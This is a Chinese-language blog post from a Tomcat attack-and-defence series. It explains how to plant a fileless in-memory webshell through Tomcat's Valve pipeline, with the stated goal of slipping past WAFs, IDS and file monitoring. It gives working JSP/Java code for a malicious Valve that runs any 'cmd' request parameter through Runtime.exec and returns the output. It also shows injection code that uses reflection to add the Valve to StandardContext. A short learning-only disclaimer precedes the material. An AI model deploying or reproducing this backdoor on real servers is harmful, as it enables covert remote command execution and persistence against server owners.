Tomcat容器攻防笔记之Valve内存马出世


 

背景:

基于现阶段红蓝对抗强度的提升,诸如WAF动态防御、态势感知、IDS恶意流量分析监测、文件多维特征监测、日志监测等手段,能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的Webshell或需以文件形式持续驻留目标服务器的恶意后门。

结合当下形势,对Tomcat容器如何利用Valve实现的内存Webshell进行研究学习。

声明 :

由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,此文仅作交流学习用途。

历史文章:

Tomcat容器攻防笔记之Filter内存马
Tomcat容器攻防笔记之Servlet内存马
Tomcat容器攻防笔记之JSP金蝉脱壳
Tomcat容器攻防笔记之隐匿行踪

 

一、何为Valve?能做些什么?

Valve译文为阀门。在Tomcat中,四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper中,都有一个管道(PipeLine)及若干阀门(Valve)。
形象地打个比方,供水管道中的各个阀门,用来实现不同的功能,比方说控制流速、控制流通等等。

那么,Tomcat管道机制中的阀门(Valve)如出一辙,我们可以自行编写具备相应业务逻辑的Valve,并添加进相应的管道当中。这样,当客户端请求传递进来时,可以在提前相应容器中完成逻辑操作。

由于Valve并不以实体文件存在,深入容器内部不易发现,且又能执行我们想要的代码逻辑,是一个极好利用点,接下来我们继续分析一下。

 

二、Valve的机制?

正如前文所说,每个容器对象都有一个PipeLine模块,在PipeLine模块中又含有若干Value(默认情况下只有一个)。

PipeLine伴随容器类对象生成时自动生成,就像容器的逻辑总线,按照顺序加载各个Valve,而Valve是逻辑的具体实现,通过PipeLine完成各个Valve之间的调用。

在PipeLine生成时,同时会生成一个缺省Valve实现,就是我们在调试中经常看到的StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve

在Tomcat中,有四大容器类,它们各自拥有独立的管道PipeLine,当各个容器类调用getPipeLine().getFirst().invoke(Request req, Response resp)时,会首先调用用户添加的Valve,最后再调用缺省的Standard-Valve。

注意,每一个上层的Valve都是在调用下一层的Valve,并等待下层的Valve返回后才完成的,这样上层的Valve不仅具有Request对象,同时还能获取到Response对象。使得各个环节的Valve均具备了处理请求和响应的能力。

管道处理流程

 

三、Valve的调用和继承关系?

调用Pipeline

在CoyoteAdapter#service方法中,调用StandardEngine#getPipline()方法获取其pipeline,随后获取管道中第一个valve并调用该阀门的invoke方法。

默认日志Valve(阀)

在Tomcat默认的servler.xml配置中,定义了一个用于记录日志的Valve,查看这个org.apache.catalina.valves.AccessLogValve类

AccessLogValve抽象类

Valve基类

继承于ValveBase类,而ValveBase又继承了LifeCycleMBeanBase类,ValveBase作为Tomcat的一个抽象基础类,实现了生命周期接口及MBean接口,使得我们可以专注于阀门的逻辑处理。

Pipeline接口

而PipeLine也实现了addValve的方法。

经过以上分析,那么我们只需要编写一个继承于ValveBase的类,并重写Invoke方法,随后调用相应容器实例的getPipeline方法,再调用管道的addValve方法即可。

 

四、Valve代码编写

按照惯例,所用的包:

<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.mapper.MappingData" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Pipeline" %>

编写恶意Valve,注意到调用this.getNext().invoke(req,resp)方法调用下一个Valve,否则会在该Valve终止,影响后续的响应:

  public class myValue extends ValveBase{
      @Override
      public void invoke(Request req, Response resp) throws IOException, ServletException {
          if (req.getParameter("cmd") != null) {
              InputStream in = java.lang.Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", req.getParameter("cmd")}).getInputStream();
              Scanner s = new Scanner(in).useDelimiter("\\A");
              String o = s.hasNext() ? s.next() : "";
              resp.getWriter().write(o);
          }
          this.getNext().invoke(req, resp);
      }
  }
%>

注入到StandardContext中,当然你也可以注入到其他容器类,至于这里获取StandardContext的方法可以参考上一篇关于隐藏访问记录的文章:

    Valve myValve = new myValue();
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    Pipeline pipeline = context.getPipeline();
    pipeline.addValve(myValve);
%>

 

五、效果展示

(完)